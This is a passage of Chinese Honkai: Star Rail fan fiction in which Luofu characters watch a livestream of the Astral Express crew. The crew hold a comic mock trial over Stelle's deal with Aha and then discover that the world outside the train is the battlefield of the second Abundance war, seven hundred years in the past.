三月七瞬间睁开眼,一整个垂死病中惊坐起:“呔!放开我的照片!”
而后,理智才慢慢回神。
她看看自己,又看看星,两个人面面相觑,之前一脑袋在地板上磕的记忆瞬间涌上心头。
她大叫起来:“啊!我想起来了!”
“星!”她一把按住就要溜走的星,掐着对方的脸蛋,毫不客气的拉出一
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个滑稽的表情,“给我老实交代你又干了什么!”
画面再次自动切片,一个手持弓箭脚踩绮丽的粉蓝色冰痕的少女神采飞扬的出现在屏幕中央,背后帕姆的小冰雕散落,灿金色的文字尽职尽责。
——【星穹列车的‘大预言家’,三月七】
星被拉扯着脸颊,说话含糊不清,“唔,说来话长。”
“那就长话短说!”
“我们先去把丹恒叫起来吧!”
“不要逃避现实啊!”
但两人也没过多玩闹,交流完信息便起身打算去找他们的第三位同伴,中间似乎还看到了什么,反应很古怪。
第三位同伴的房间就在他们隔壁,这明显是个原本不作寝室用处的房间,整个房间都偏小,墙壁两侧布满仪器和机箱,约是原本用来查阅资料或者是某种系统中枢的地方。
房间主人的私人物品似乎也很少,一眼望去也没看见床,似乎只是台阶上堪称简陋打了一层地铺,然后就这么不讲究的住了下来。
星和三月七走进房间,轻声唤着房间主人的名字,去摇还在昏迷中的人,镜头一开始并没有给到这个第三位无名客的正脸,但显然,这位无名客并没有被她们唤醒。
然后这两女孩一合计,决定使用人工呼吸!
看到这,景元疑惑了,“这个情况...需要人工呼吸吗?”
他默默将询问的目光投向他们团队里唯一对治疗有精确了解的丹枫,得到了丹枫非常明确的摇头,“从直播上看此人并未出现闭气和呼吸骤停的症状,他的呼吸非常平稳。”
但那位领航员似乎并不知道这个知识,从对方的发言来看,她很可能只是在照猫画虎的仿照之前别人救她的经验。
算了,反正进行人工呼吸也没什么坏处,也许还能顺带把人叫醒,挺好的。
丹枫刚刚这么想着,下一刻,就看见星撅了个大嘴要往下俯身。
丹枫:......
作为一个专业的半医疗工作者,他真的看不得这个场面。
这个动作,从头到尾就没一个地方是规范的!!!整个流程是错到能让丹鼎司的老医士直接心梗昏过去的程度!
还好,昏迷的人在被人工呼吸之前就醒来了。
镜头跟着星的动作往上推去,一双蒙着薄雾的灰蓝色眸子映入众人的眼帘。
镜头似乎尤为偏爱给这人进行面部特写,这人也确实好看,从那双还在朦胧中缓慢而小幅度炸动的睡眼到左眼下昳丽的描红,再到他伟大的五官、恰到好处的脸部线条和那一头毛茸茸的黑发,都能看出这人容貌上的优秀。
但景元感受到的,只有这个直播拍摄者深深的找乐子心态。
无他,因为这张脸,几乎和他们身旁这位大名鼎鼎,罗浮上无人不知无人不晓的持明龙尊饮月君,长得一毛一样!
看到那张脸的瞬间,工造司的休息室里,云骑校练场的凉亭中,飞行中的星槎上,都有人不约而同的呛了水。
神策府后院中,景元张大了嘴巴呆呆的看向丹枫,“枫哥,你们持明...有双黄蛋的吗?”
这真的不是丹枫失散多年的亲兄弟吗?!
5. 闭月羞花饮月君
另一边,鳞渊境,持明族地。
桌上盛着滚烫茶水的杯盏被不小心打翻,茶水淌了一个桌子,循着桌面的纹路从边角滴落到灰青色的地板上。
而造成这一切的人却跟短生种年过花甲的老人一般抖着手指,颤颤巍巍的指着玉兆投影上那张和他们龙尊一毛一样的脸,用一种怀疑人生一样的语调问着身旁的龙师。
“那、那是丹枫?!”
不不不,他知道那不是丹枫,虽然他们确实对丹枫那叫一个咬牙切齿,恨不得他立刻蜕生,但那好歹还是清楚的明白他的身体康健,力量全盛,远不到要蜕生的程度。
甚至就在前一天,丹枫才刚把他谏言的公文直接拍到了他脸上。
让他惊悚的是,那种堪称温柔,那跟狸奴一样毛茸茸的模样能出现在丹枫的脸上?!
他疯了还是这个直播疯了?!
要不是他打听到这个直播和星神有关,并且消息绝对可信,他甚至会怀疑这是不是谁的恶作剧!
他身旁那个龙师也是呼吸微颤,不得不说,这张脸露出这种表情,真的太考验他们的心脏了。
但他的思维还清晰些,稍微平复了一下心绪便想到了更深的一层,“若他不是丹枫,他又是谁?”
室内安静了一瞬,两个龙师对视了一样,视频中的人是单纯的撞脸,亦或者就是另一个‘饮月’呢?
丹枫本人...真的不知道吗?
丹枫本人确实不知道。
不然也不会这么没有一点点防备。
他看着直播屏幕上的那张脸,兀自陷入了一种怔然。
那是景元从未见过,也无法形容的表情,有怔愣,也有似乎习惯了的恍然。
“丹枫哥?”他轻轻的叫着对方,又看了看画面上的那张脸,然后伸手扯了扯对方的袖口,“丹枫哥,我胡说的,没准就是个和你长得撞脸的呢?”
他卖乖似的笑道:“我们之前出征路过那么多星球,不也遇到过类似的情况吗?”
丹枫这才将将的会过神,张了张嘴却没立刻说出些什么,直到腾骁的手也拍上了他的肩膀,轻声道:“银河浩大,也不是没可能的事。”
随后他重重的拍了拍,“就是你饮月君这张‘闭月羞花’的脸啊,就要成大众脸喽。”
这话出来,丹枫是真的彻底清醒了。
景元像是被这个形容词噎了一下,难以置信的问道:“将军,你今天吃错药了?”
腾骁没好气的道:“滚你的,这是饮月那群支持者说的,我就是借来引用引用。”
景元脸上一阵五颜六色的震撼,表情难以言喻,“枫哥,你在你的支持者心里到底是什么形象啊?”
丹枫:......好样的,他也想知道。
到底是怎样的心理状态能说出他闭月羞花这种词,族学的内容是不是要再增加点比较好?
被景元和腾骁这么一闹腾,丹枫也没了之前情绪低落,挽唇轻轻的笑了笑,“我没事。”
你刚才那模样可完全称不上是没事啊。
在场的另外两人心里默默腹诽着。
丹枫没有管他们心里到底又编排了自己什么,只是重新将目光投向直播画面,画面上,黑发的青年已然从床榻上坐起,姿态适然,画面再度暂停,身姿被切割出隐于纯色的介绍背景后。
画面中央,黑发青年怀抱长枪随意依靠在红枫树下的立绘描摹而出,红枫洋洋洒洒的落了一整个屏幕,风格颇有些清幽之意,立绘旁,灿金色的文字介绍浮现:
——【星穹列车的护卫兼智库管理员,丹恒】
丹枫的目光在立绘上青年怀中那柄他无比熟悉的击云长枪上顿了顿,随后轻声道:“我看的出,他和我区别很大。”
他确是在看到丹恒那张脸的时候感觉不是很好。
任谁处于时不时的就要梦见一些似是而非的前尘碎片,每天早上醒来看着镜子里的自己都要恍惚一瞬镜子里是谁的日常状态里,被这么乍一突脸都不会感觉太好。
甚至有一瞬间,丹枫会觉得毛骨悚然。
但也就那么一瞬间,丹枫便反应过来了。
因为直播中的那孩子和自己的差别太大了。
是的,孩子,丹枫很清晰的通过直播画面判断出了对方尚且还小的年纪,这也是丹枫如此快的清醒过来的原因。
丹恒的气质和自己差别太大了,诚然,他们的脸是差不多的,即便对方剪了短发换了衣服,连眼瞳颜色都做了遮掩,和丹枫有了一些比较明显的区别,但那张脸依旧和丹枫一模一样。
但在这样的情况下,丹恒却要显得更加稚气一些,也更加温润,没有那么刺骨冰凉,他的身上有一种丹枫身上已经消逝许久的生命力和活力。
用景元的话来说就是,活人味太重了。
如果说丹枫是方壶上万年不化的玄冰,是鳞渊古海万世不改高悬夜空的明月,那么丹恒就像是树上落下的一叶红枫,是满天繁星的月夜下柔和的一抹月光,虽然仍旧清冷飘摇,却也有着足够的热烈和余温。
就是这样的活力,将他和丹枫区别开来。
“丹恒。”他轻轻重复着对方的名字,缓慢的嚼捻着这两个字的每一个音节,心头万般复杂的思绪一闪而过,最后落在青年那双和自己截然不同的蓝灰色眸子上。
他看着丹恒和同伴们说笑,看着他发现同伴闯祸后自然而然接受了现状,倏而笑了。
他由衷的夸赞道:“丹心如恒,这真是...再好不过的名字了。”
如果这是真的,那就太好不过了。
目前看来这几人看的出来都是很老练的无名客,对于仪器失灵这样的突发状况也非常淡定,想必除了应对意外的经验丰富以外,也有对于自己武力值的自信。
其中作为智库管理员的丹恒应该非常了解智库,在智库停摆的情况下,立刻提出了用肉眼和知识进行地域判断。
但这一切淡定自若,在他打开门,看见那个大老远居高临下的站在水龙卷上的丹枫之后化为了灰烬。
景元看着丹恒脸上那如遭雷击的
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表情,轻轻的哇了一声,“丹枫哥,他看见你的表情好像看到了女鬼一样啊。”
他还是第一次在丹枫的脸上看到这种好像要裂开了一样的表情。
不过这个地方...
星穹列车上。
“冷静!丹恒老师,冷静!”
“撑住啊!!丹恒!别撅过去,千万别撅过去啊!”
眼见丹恒一脸空白的模样,两个小姑娘急忙上前扶住他,好像生怕自家小青龙,腿一蹬人一直就去见不朽了。
好在经过多年某人五代三在梦中的时常问候和在现实中的随机追杀,丹恒已经非常习惯自己的噩梦某天对他进行线下面基的情况,在这方面的心态堪称百炼成钢。
他很快就反应过来那不可能是真的丹枫,真人不可能摆出这么大阵势却这样一动不动,跟个摆设似的在那当地标建筑,倒是像星经常拉他去打的历战余响。
他回过神,轻轻摇了摇头:“我没事。”
三月七见他确实面色正常,神情缓和,这才放下心,松了一口气,“咱也不知道怎么回事,一醒来就看见他在那罚站了,我们见他一动不动的就先放在一边去把你叫醒了。”
丹恒听了轻轻的点头,示意自己明白了,但目光依旧看着窗外,从壮观的水龙卷移到赤灰色的大地和深渊一般漆黑的夜空上。
“这幅景象,我似乎在哪里见过。”
还不等他细思这种熟悉感从而何而来,帕姆就从客房车厢的另一头走来,看见三个人都好好的站在走廊里,明显神情放松了不少。
“丹恒乘客和三月七乘客都醒了帕?身体没有问题吗?”
两人纷纷摇了摇头,三月七挥了挥手:“嗐,列车长放心,我们都没事!身体杠杠的!现在让我去打一头末日兽都没问题。”
丹恒直接问道:“列车现在的状况如何?”
帕姆有些烦恼的晃了晃脑袋,“嗯,情况有些微妙,列车上的许多仪器都已经停止了运作,无法启动,初步判断不是损坏造成的情况,好在跃迁系统一切正常。”
他看向丹恒几人,“既然几位乘客都已经醒了,那么我们就要讨论一下接下来要怎么办了帕。”
丹恒点了点头,然后头也不回的抬手抓住了身后某只从刚才开始就默不吭声打算偷溜的星核精背后的衣带子,声音平静。
“星,你要去哪里?行动会议需要领航员的参加才行。”
被抓住了衣带子的星核精就跟被捏住了后劲皮的猫似的,毫无反抗之力,只能眨着那双溜圆的淡金色大眼睛心虚讪笑,“哈哈哈,那什么,我去看看什么问题导致的仪器停摆。”
帕姆见人要跑,气哄哄的叉起腰来,“啊!星乘客不许偷溜!帕姆还没和你算账呢!丹恒乘客,别让星乘客跑了帕!”
丹恒乖乖点头,一副列车长最大的模样,“遵命。”
然后星就跟个两只爪子扒在地上垂死挣扎的小浣熊似的,被冷酷无情的冷面小青龙硬生生拖向了观景车厢。
“不——!!!”
6. 一个flag
观景车厢内,三个人围坐在车厢中央的地板上。
车窗的屏蔽功能已经开启,列车特有的星空鲸切片吊灯光芒微暗,只朝着三人单独投下了几束灯光。
“那么现在,审判正式开始。”三月七带着不知从哪里掏出来的白框眼镜,双手交叉的撑着下巴,故作深沉道。
“被告领航员·星,你犯下的罪行无可饶恕,你可以保持沉默,但你接下来所说的一切都将成为你义务劳动的呈堂证供!”
她身旁,丹恒怀里抱着帕姆,手上拿着一张稿子,表情微妙而麻木,但应列车长的要求,他还是努力做出了帕姆所说的‘威严’的审判官的模样。
“咳咳,那么首先,你是否对以下恶性事件供认不讳——”
“你在黎明时分未经列车长的同意偷偷闯入了列车禁地驾驶室,并擅自进行了人工驾驶跃迁,导致列车偏离了原来的跃迁目标地点,因此陷入短暂迷航——”
“你是否认罪...帕...”
“噗...”星坐在两人对面,讪笑着耷拉下脑袋,本来正是一脸心虚的模样,一听到丹恒嘴巴里蹦出来的帕,愣是憋不住笑了。
别说她了,投影前的景元等人看到丹恒用那张和丹枫一模一样的脸面无表情的念出了这个‘帕’的时候,也不由得噗嗤笑出了声。
“星乘客不许笑!给我好好认错帕!”丹恒怀里,列车长奋力挥舞着小手。
星笑的肩膀一耸一耸的,用一种‘辛苦你了’的眼光看向丹恒,嘴上还连连对列车长道歉,“抱歉抱歉。”
完了,她立刻端正姿态,正襟危坐,好像一副要正经认罪的模样,但丹恒依旧清晰的看见她的嘴角控制不住的往上扬。
帕姆非常好哄,看见星这么反应还很满意的点了点头,转头看向抱着自己的丹恒,拍了拍他半揽着自己的手。
“还有丹恒乘客也是,完全可以更有气势一点帕,你现在是帕姆钦定的审判官,务必要用自己的威压震慑住为非作歹星乘客才行!”
丹恒看着列车长亲手书写的罪状,上头每一项长句结尾都带着一个帕,他沉默了片刻,“我尽力...”
虽然他并不觉得这说出来会有多么的威慑力。
但...嗯,列车长这么做一定有他的道理。
智慧的小青龙决定放弃思考。
“哎呀,帕姆,别把话题扯歪,星,你是否认罪帕!”三月七一拍地板,接上了之前的话题。
星立刻清了清嗓子,老实承认,“我承认。”
丹恒继续接上。
“你和阿哈合谋,在没有经过驾驶训练的基础上,进行极度危险驾驶,致使列车仪器在跃迁过程因不明外部影响停转——”
“你,是否认罪帕...”
星的声音心虚了一点,“我承认。”
“你在没有没有通知列车乘客做好准备的情况下进行上述危险行动,致使列车乘客和列车长无辜遭难,造成了精神和物理上的双重伤害——”
“你是否认罪帕。”
星:“我承认,但是!”
她举起了一只手,话锋一转,“我请求申辩!我冤枉!是阿哈说他要教我怎么驾驶列车的,他还说这是领航员的传统。”
“列车没有这种传统帕!”
丹恒也有些无奈,“欢愉星神的话你也真敢信...”
信了也就算了,居然还真的去实践了!丹恒有些头疼,想起当年的‘我是持明龙尊给我,v我5万信用点’,突然觉的很有必要将反诈知识科普提上日程。
星当然反驳了,“我当然不信啊!”
“那你还照做?”三月七抱着胸默默盯着她。
说到这,星的气势骤然缩了回去,目光左移右飘的,对着手指讪笑着回了一句,“因为...祂给的真的太多了。”
丹恒还是很谨慎的,以防万一他还是问了一句,“祂给了你多少报酬?”
“一千六百万星琼和五千专票!”星立刻回给他一个大大的大拇指。
三月七纳闷了,“就是之前那些你翻垃圾桶都要收集的漂亮石头?甚至喝醉的时候还指着我要我变的那个?!”
星目光飘逸的点了点头。
“还有其他报酬吗?比如...信用点?”丹恒继续询问道。
星...星默默的比出了一个一。
丹恒:“一万信用点?”
星:......
三月七继续试探问道:“一千?”
星继续比着那根手指。
“不会只有一百吧?堂堂欢愉星神也不用这么抠吧?”三月七难以置信的道。
但丹恒沉吟了片刻,随后迟疑开口,“三月,有没有一种可能,星比划的就是单纯的一。”
三月七旋即露出了一种骇人听闻的神色,那模样就像是看见了什么不可接受的事情一般,“一信用点?!公司的平均最低工资都不敢这么写的吧!”
丹恒淡定的纠正她,“是理论意义上的平均最低薪资,实际上公司底层员工的工资还和效益挂钩,基本都是不增反减的类型,从这个层面上来说,也不是没可能出现这种情况。”
曾经在星际和平公司打过苦工的冷面小青龙的言论非常具有说服力,但不知道是不是星和三月七的错觉,他们总觉得,丹恒说这话的时候...是不是有点怨念啊...
但这时候的重点不是去翻丹恒当初的十八般打工历险记,三月七一转头,看见星那副‘这让我怎么拒绝’的表情气就不打一处来一出来,看着星就好像那个被鬼火黄毛骗财的无辜少女,一下子就扑过去扒拉她的脸。
“就这么一点钱,你就那么答应了?!你多少问祂再要点啊!”
就连帕姆都忍不住劝慰她,“星乘客,要是真的困难了就和帕姆说。”
星被她捏着脸,只能含糊不清的回答道:“祂说星神没钱。”
“没钱就让他去敲琥珀王的石头啊!那么一点石头你就把自己卖了?!”
说到这个星就不同意了,她顿时振作了起来,“那是一点石头吗?!那是好多石头!!!我当初抽你们两的SP都是靠它啊!!”
“别说这么破墙的话题啊!”
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可三月七还是被她说的有点心软了,那些石头只有星能用,但她劳心劳力的收集了那么多却也都用了好多在她和丹恒身上。
但有人心软,就一定有人会继续铁石心肠。
丹恒深刻的沉思了一会,如实道:“如果我没记错,我和三月的新形态每次都是免费赠送的吧?”
星:......不好,他什么时候走上记忆命途了?
“不过...”丹恒顿了顿,忽而又笑了,他那张想来清冷的脸上突然泛起缓和的笑的时候,就犹如春日花开,暖意盎然。
“罢了,你觉得值便好,列车也不缺那点钱。”
“丹恒...”星顿时那叫一个泪流满面啊,泪眼汪汪的就要往三月七和丹恒那边扑,“唔!丹恒麻麻!你最好了!!我要和你们组一辈子列车组!”
她的手劲不小,两人被她扑了个正着,差点被压到地板上去,一时间挣脱不得,三月七没好气拍了一下她的手,“喂喂喂,就夸丹恒吗?”
灰毛小浣熊立刻端水,“唔,三月也最好了,列车长也最好了。”
“...呃,得亏本姑娘心好,不然你这也太敷衍了吧。”
丹恒更是痛不欲生,他不忍直视的闭了闭眼,露出一种看淡生死的表情,“星,下次别这么叫我...”
而且,星的妈不应该是卡芙卡吗?再不济也应该是姬子吧?怎么样也不会轮到他才是。
他无奈的扶额,却没注意到自己的嘴角就没落下去过。
星见没人回应立刻就闹了,“我不管!你们就说组不组吧!先声明你们要但凡回一个不字我就要哭喽!我真的会哭的哦!”
三月七一副拿她没办法的样子,“行行行!组!我想列车长也不会嫌弃咱们三个一直赖在车上的吧?”
她低头看向被他们三人挤在一起帕姆,帕姆闻言顿时一叉腰,“才不会,不过三月七乘客和星乘客要是能少闯些祸,帕姆会更欣慰的帕。”
两个小姑娘闻言,纷纷打起了哈哈,“这个嘛啊哈哈...”
说着两人不约而同向丹恒发出了求救的信号,是时候说点什么了,丹恒老师!
丹恒,丹恒有些发愣。
他看着两双直率澄澈的眼睛,就像是看见了同伴们朝他伸出的手掌,笔直的目光似乎在对他发出邀请,“来吧”。
他想起了那令他求之不得却又蓦然清醒的长梦。
“世上没有任何事情是不朽的。”他轻轻的开口,“即便是不朽的星神也没能打破这个定律。”
三月七和星目光立刻转为担忧。
“但...”他突然释然的笑了笑,“我是不朽的龙裔,亦是开拓的无名客。”
两个姑娘的眼神骤然齐齐亮了起来。
丹恒继续道:“我是列车的护卫,这一点永远不会改变。”
两人当即欢呼起来。
“那约好了,我们要组一辈子的列车组!”
等两人欢呼完,丹恒又问道:“说起来,星,阿哈答应你的报酬拿到了吗?”
闻言,星脸上的表情骤然凝固。
7. 七百年前的战场
众所周知,仙舟上有句古话,天上不会掉馅饼,垃圾桶里不会有宝藏。
巨大的收益往往伴随着巨大的风险和未知的过程。
一千六百万星琼和五千专票的报酬固然丰厚,但可想而知一定伴随着漫长的任务流程。
总而言之就是,任务才刚开了个头,星又被坑了。
她看着自己背包里显示的区区53星琼——甚至这50星琼还是前置任务的报酬,那就一个悲从中来,直接哇的一声哭了出来,“阿哈居然坑我!!”
三月七那叫一个恨铁不成钢啊,“你被坑的还少吗?都叫你不要看到星琼就走不动道了。”
她刚开始还真担心星是受不了委屈哭出来了,结果仔细一看好嘛星没真哭,就是干嚎,还嚎的非常卖力,嚎的那叫一个有声有色,情感到位之极堪称入木三分。
“我为委托出过力!我为任务流过血啊!”
说真的,就这个嚎哭的水平在芮克先生的片子里也是顶级的演技。
丹恒到没有急着安慰星,而是在获得允许之后接过星的手机,将阿哈发给星的那份委托和相关记录细细读了一遍。
很快的,他就发现了问题的所在。
“这里。”他将页面切换到第二个任务的任务简介,指着上面的的文字复读道:“‘学习成为一名会驾驶列车来回的领航员’,也就是说——”
三月七顺着他的思路道:“只是单纯的‘出发’是不行的?”
丹恒点了点头,“对,应该还需要列车能够顺利的‘返回’才可以。”
星闻言,顿时又振作了起来,“我就知道阿哈不会赊账!”
三月七:“你还是长点心吧!!”
“恐怕这并不全是阿哈的发布这个委托的真实目的。”丹恒顿了顿又继续道:“虽然无法排除欢愉真的纯粹找乐子的可能性,但作为对星而言这么重要的报酬,也未免给的过高了些。”
他们一起同行这么久了,丹恒虽然没有过多了解过,但他和三月因为经常被拉去充当吉祥物,对这种名为‘星琼’的漂亮石头的物价也有所了解。
即便是以星哀嚎的最厉害,最凄惨的那一次经历作为标准,这份报酬也高昂的不可思议。
“列车往返于群星之间已是常事,单纯的一来一回,即使加上需要星亲自驾驶这个条件也依旧无法和这份报酬的重量相等。”
说着,他看向星,“毕竟,我们都知道,星只是...呃,平时喜欢不拘小节,但实际上她确实也有丰富的驾驶经验,学习手动驾驶列车对她来说也并非什么难事。”
星恍然大悟,“你是说,阿哈还有后招?”
话粗理不粗,丹恒再次点头,一手抱臂一手轻托着下颌,神色略显沉凝:
“星答不答应祂的委托并不重要,即使星坚决拒绝祂的诱惑,他也能强行干涉列车的正常跃迁将我们带到这里,对星神而言,制造意外并不困难。”
他甚至还开了个玩笑,“从目前而言,我们至少在此事了结后还能获得报酬。”虽然这些报酬除了星压根就用不了。
“现在的问题是,阿哈的目的到底是什么,欢愉的行动不会无的放矢,但更加具体的,恐怕只能等我们进一步探索这个地方后才能得出其他线索了。”
丹恒说完后,空气静默了三秒,眼见没听见回音才疑惑的转过头,看见两个姑娘加上一个列车长,睁着大大的眼睛一脸看到靠谱家长的模样。
“丹恒麻麻...”
“丹恒麻麻...”
“丹恒乘客...”
两人一兔的大眼睛里毫无掩饰的写着‘靠你了!’,这可是现在列车上唯一一个可以是智力派的人,哦不,龙啊!
丹恒:......
都说了别这么叫他...
投影屏幕前,景元偷偷看向丹枫,丹枫看都没看他,静静喝着茶,身后龙尾挑起蓄势待发,“你可以这么叫试试。”
蠢蠢欲动企图伸爪爪的大白猫默默的缩了回去,咳咳,丹枫的那条龙尾巴敲起人来可真不是吃素的。
上回应星不眠不休打造器具,被丹枫碰上了,发现自己的短生种挚友居然五天五夜都没睡觉的了龙尊大人直接不管三七二十一一尾巴敲晕了百冶。
但龙尊对龙尾的控制似乎和猫科动物对自己尾巴的控制有异曲同工之妙,不如手脚灵便,控制自如,即便已经相当省了力道,应星也愣是在暴睡了三天之后,又落枕了半月。
龙尊的尾巴,恐怖如斯。
“咳咳。”景元轻咳了一声,转移了话题,“也就是说,星穹列车是被常乐天君使计诱骗到了这个地方。”
这算是解释了为什么星穹列车会误入此地的缘由,就是这个使计...
说得好提这叫做诱骗,说的不好听这不就是放了个直钩吗?!星穹列车的领航员还真的就往里跳了?!
景元被这一番操作搞得恍恍惚惚。
不是,星穹列车...居然是这个画风吗?但想想身为无名客的白珩好像也是这个风格,貌似也很正常。
所以...这就是无名客的传统吗?
景元不懂,但景元大为震撼。
星穹列车上,会议也开始由星的检讨会转为行动会议。
“好了,星乘客的处罚问题我们之后再继续详谈帕!检讨是跑不了的帕!现在的问题是几位乘客决定要如何行动?”
帕姆暂时放过了星,转而道:“至于阿哈乘客,帕姆也对祂有所了解,虽然祂不靠谱、爱恶作剧、喜欢耍人、给列车添了好多麻烦、还爱逗帕姆、甚至还炸了列车,是世界上最糟糕的无名客。”
帕姆细数着阿哈的‘罪行’,而后话锋一转,“但阿哈乘客并不会真的伤害列车,这点乘客可以放心。”
三月七听得人都要麻了,“完全放心不了好吧!这哪里是可以让人放心的描述啊!他连列车都炸了!”
帕姆搓了搓手,没有细说:“嗯...当时的情况很复杂,总之,帕姆可以确定阿哈乘客对列车没有恶意,也没有违反过无名客守则,从这一点上,帕姆认为是可以放心的。”
嗯,看的出情况确实很复杂。几人默默心想着。
但有了自家列车长的保证,几人也确实稍稍放下
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了心,欢愉星神不靠谱,但自家列车长靠谱啊!
“即便如此,基础的警惕还是要有的。”丹恒提醒道:“星神的观念和我们有着很大性质的差别,还是不要抱着太大的侥幸心理比较好。”
“至于如何行动。”他看向星和三月七,“老规矩,投票决定吧——是否要继续一探究竟。”
这是列车组的老环节了,大家都熟得很,没有异议,三月七见状就率先伸出手,“嘿,虽然感觉也不会有其他答案,不过这次我先来,走一个!”
丹恒随后伸手,“有星神在背后干涉,想必此行不会太轻松。”
星最直接,“来都来了!”
三个无名客全票通过,无论出于何种理由,最后的答案都汇聚成了一个简单的回答——‘开拓’。
虽然早就通过车窗看见了这个世界大致的模样,但当几人离开列车,踩上赤灰色的土地时才真正感受到,这个地方和他们从前到访过的星球是如此大相径庭。
它更像是一片战场,一片死亡已久的土地。
这里没有水、没有风,也没有任何活物的声音,放眼望去皆是一片赤地,荒芜的瘆人,任何一片无人广袤的大漠都要比这里要有生机的多。
天空非常深邃,是宛如深渊一般,无底无光的黑,看的久了会让人产生一种恐惧感。
丹恒不知怎么的,越看这个地方也是有些眼熟,一种莫名的既视感频频开始自他的脑海深处浮现。
他深吸一口气,“走吧。”,然后眼睛都不带眨的抬起双手,熟练的一左一右拉住了两只因为好奇就要撒丫子跑出去的同伴。
他嘱咐道:“别放松警惕,列车上的仪器没有损坏的痕迹,很大可能是受到了这个地方的未知外部影响,情况不明,小心为上。”
他们一行三人谨慎前行,星走在最前头,三月七走在中间一点的位置,丹恒垫在最后面。
大概是因为在这个地方实在太静了,是那种死寂的静,所以两个小姑娘总是会耐不住性子插科打诨,你一言我一语还不忘带上丹恒一起,一路下来也算热闹。
但越走,丹恒就越觉得不对劲,他看这里总觉的哪哪都眼熟。这种熟悉就像是一颗石子落进了深潭,虽然能溅起的涟漪不大,却能激起不少往昔的残片。
碎片和漫步过的景象拼凑整合,逐渐清晰的景象中,竟连每一笔轮廓都完美的重叠。
忽的,他停下了脚步,星和三月七立刻回头,“丹恒,怎么了?你有什么发现吗?”
他听见自己的声音艰涩而飘忽,就像刚从梦中醒来那般,“我知道这是哪里了。”
他偏头,目光落在远处一道巨大的沟壑上,那是从一处连绵起伏的石山中间破开的深壑,像是被什么巨大的利器劈出来的一样,“这里是...”
屏幕前,景元等人也终于确定自己之前的判断没有出错。
“果然,那里是...”
丹枫冷静的接上了他的话,声线同投影中响起的声音完美的重合在了一起,只有语调起伏的有些许的差别。
——“罗浮第二次丰饶战争的战场。”
8. 龙王归来
“罗浮第二次丰饶战争?!七百多年前的那个?”三月七惊呼道。
丹恒微微点头,神色有些复杂的环顾着四周,可越是环顾,那些只在碎片一般的梦境中出现在的景象就越发清晰。
“不仅如此,这里几乎和我记忆中的模样分毫不差。”就像是昨日,战争才刚刚结束一般。
他眺望头顶和远处的天空,缓了一口气,沉声道:
“这里的大气非常稀薄,这么稀薄的大气对星球起到的保护作用很小,巧合产生的宇宙风暴、粒子乱流、陨石流星,路过的反物质军团等各种意外都可以轻而易举的改变这里的地形。”
“可是七百多年过去,这里仍然没有产生包括自然变化在内的任何的地形变化,和我记忆中的景象如出一辙。”
星和三月七瞬间明白了他的言下之意。
要么,就是这个地方真的这么幸运,要么,就是这里确实是七百年前的战场本身。
——“所以,我们是穿越了?”
星恍然大悟,一拳头垂在自己的掌心,清了清嗓子,故作正经的朗读道:
“我们穿越了,穿越到了七百多年前,罗浮的第二次丰饶战争的时候...这一次我们一定不会重蹈前世的覆辙!”
一听就是那种星网啥上非智械智能小说的味道,味重的都要溢出来了。
“除了丹恒,七百多年前咱们可能连个人影都没有,哪来的前世啊!”三月七无语吐槽道。
她纠正道:“按照这个情况应该是丹恒逆天改命,穿回过去!结果发现他实际上是天命之子,要改变前世的一切遗憾!”
丹恒:“......”
两个小姑娘越说越来劲。
星叉着腰摇了摇指头,一脸你还是没抓住精髓的模样,“丹恒是龙,不应该是天命之子剧场,应该是龙王归来剧场的!”
三月七非常同意,并迅速补上了剧本,“有道理,按照龙王归来的套路,丹恒接下来就要帅气归来!艳惊四座!”
星:“暴露身份,装逼打脸!”
三月七:“拳打令使,脚踢——哎呦!”
还没说完,两人就被丹恒一人赏了一个脑瓜崩。
龙王归来版本·将要拳打令使的·小青龙双手抱臂,一脸头疼:“你们两个以后少看那些小说。”
再让她们两说下去,他估计接下来就该飞升不朽了。
说归正题,“未必是我们真的回到了七百年前,这里也有可能并不是真实的战场,而是类似匹诺康尼那样的由忆质构成的联觉梦境或是其他特殊空间。”
他略微思索了片刻,“星,你在这能叫迷迷出来看看吗?她对忆质之类的存在有超乎寻常的感应力。”
星点了点头,掏出羽毛笔凭空书写下了一段金色的字符,字符凝结成粉色的光团,粉毛兔子模样的忆灵飞扑而出。
星直接大手一挥,“迷迷!嗅!”
刚刚登场的迷迷还没来得及和她叙旧就被气的在空中蹬腿,“迷!迷!”——人家不是狗啦!
能召唤出迷迷,说明正常的命途力量并没有受到限制。
丹恒略微放下了心,上前解释道:“我们误入了这个地方,怀疑这里可能是忆质相关物质构成的空间,想请你看看能不能找到什么线索?”
他们也算是和迷迷一起并肩作战过许久,迷迷自然答应了下来,她环顾四周,一下就发现了问题,手舞足蹈的比划了起来。
“迷!迷迷?”——你们怎么跑到了这么个怪地方来了?
“迷——”——没有忆质。
“迷...迷?”——记忆?好像不是?但又很像。
“迷迷迷——迷!迷迷!”——朦朦胧胧,飘飘忽忽的,感觉像是在云上打滚,让人想要睡一觉。
以上,是来自星的激情翻译。
丹恒没有三月七那种能够听懂所有非人非智慧生物语言的天赋,也没有星那样迷迷专供同声传译,只能听星鹦鹉学舌一样,学着迷迷的语调转达。
而迷迷本人,已经急的快会说人话了。
但丹恒不愧是丹恒,他面无表情的听完了星不伦不类音调的翻译,表情淡定,一点没笑,连嘴角都没有抽动一下,真的太给面子了。
他甚至还做出了简洁明了的总结,“也就是说,我们现在一个和记忆构成空间很像但却不是忆质构成的地方,你在这里甚至感觉很舒服?”
“迷!”粉色小狗迷迷对冷面小青龙比出了一个大拇指。
丹恒沉吟了一会,“能感觉到这个地方类似记忆的能量动向吗?”
“迷迷!”——能!
这句不用翻译,丹恒从那活泼的语调中听懂了。
“那能够请你带我们去到那个能量集中汇聚的节点?我想那里应该会有什么线索。”
“迷!”——当然可以!
迷迷在空中转了一个圈,随后朝几人招了招手,往一个方向飞去了。
“走吧,我们跟上迷迷。”丹恒抬步招呼两人跟上。
三人走啊走,走啊走,走着走着就走到了那个地标性建筑面前。
一抬头就能看见那个面色冰冷淡漠的不似活人一样的丹枫笔直的杵在水龙卷上,闭目罚站。
三人:“......”
丹恒看到力量中枢是丹枫的时候就眼前一黑,知道要遭,果然下一刻,星核精的手就拍到了他的肩膀上。
他转头,看见星一双淡金色的眼睛炯炯有神,泛着兴奋的光,一脸确信的对对他比了个大拇指:“丹恒老师,龙王归来,天命所归!”
丹恒面色淡定转回头,目光直视前方,“...我回去会让帕姆检查你在列车上的浏览记录的。”
星核精顿时大惊失色:“不——!!!”
她整个人顿时变成一片灰白,好像遭受了严重的打击,晃晃悠悠的继续往前走。
